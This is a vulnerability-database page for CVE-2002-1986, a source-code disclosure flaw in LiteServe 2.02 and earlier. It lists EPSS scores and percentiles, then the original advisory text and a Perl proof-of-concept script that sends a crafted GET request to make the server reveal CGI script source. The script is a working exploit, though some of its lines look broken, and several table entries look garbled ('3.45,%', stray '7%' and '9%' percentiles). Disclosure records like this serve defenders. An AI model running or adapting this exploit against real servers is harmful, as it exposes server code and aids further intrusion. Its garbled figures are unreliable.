CVE-2002-1986 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	4.19%	–	–
2022-04-03	–	–	4.19%	–	–
2022-07-17	–	–	4.19%	–	–
2023-03-12	–	–	–	2.28%	–
2023-12-31	–	–	–	2.28%	–
2024-01-07	–	–	–	2.28%	–
2024-01-21	–	–	–	2.28%	–
2024-02-11	–	–	–	1.97%	–
2024-03-17	–	–	–	2.15%	–
2024-04-14	–	–	–	2.6%	–
2024-06-02	–	–	–	3.07%	–
2024-07-28	–	–	–	3.87%	–
2024-09-22	–	–	–	1.98%	–
2024-12-22	–	–	–	1.22%	–
2025-01-05	–	–	–	1.13%	–
2025-01-12	–	–	–	1.13%	–
2025-01-19	–	–	–	1.13%	–
2025-03-18	–	–	–	–	3.45%
2025-03-30	–	–	–	–	3.45%
2025-04-15	–	–	–	–	3.45%
2025-04-15	–	–	–	–	3.45,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	7%
2022-04-03	86%
2022-07-17	87%
2023-03-12	88%
2023-12-31	89%
2024-01-07	88%
2024-01-21	89%
2024-02-11	88%
2024-03-17	89%
2024-04-14	9%
2024-06-02	91%
2024-07-28	92%
2024-09-22	89%
2024-12-22	85%
2025-01-05	84%
2025-01-12	85%
2025-01-19	85%
2025-03-18	87%
2025-03-30	86%
2025-04-15	87%
2025-04-15	87%

source: https://www.securityfocus.com/bid/6188/info By constructing a malicious web request, it is possible for a remote attacker to disclose the source code of CGI scripts. Information gained through exploiting this issue may aid an attacker in launching further attacks against the target system. #!/usr/bin/perl # # LS_FETCH.PL # By Matthew Murphy # LiteServe 2.02 and prior - CGI Disclosure # Usage: perl ls_fetch.pl [filename] [host] [alias] [port] use IO::Socket; use URI::Escape; $alias = "cgi-isapi"; # Default LiteServe CGI alias $port = 80; if (@ARGV < 2 || @ARGV > 4) { print STDOUT "Usage: perl $0 [filename] [host] [alias=cgi-isapi] [port=80] } else { if (@ARGV >= 3) { $alias = $ARGV[2]; } if (@ARGV == 4) { $port = $ARGV[3]; } $filename = $ARGV[1]; $host = $ARGV[2]; $f = IO::Socket::INET->new(PeerAddr=>$host,PeerPort=>$port,Proto=>"tcp"); $f->autoflush(1); $b = sprintf("GET /%s/%s. HTTP/1.0\r\n\r\n", $alias, uri_escape($file)); print $f $b; while (defined($line=<$f>)) { print STDOUT $line; } undef $f; }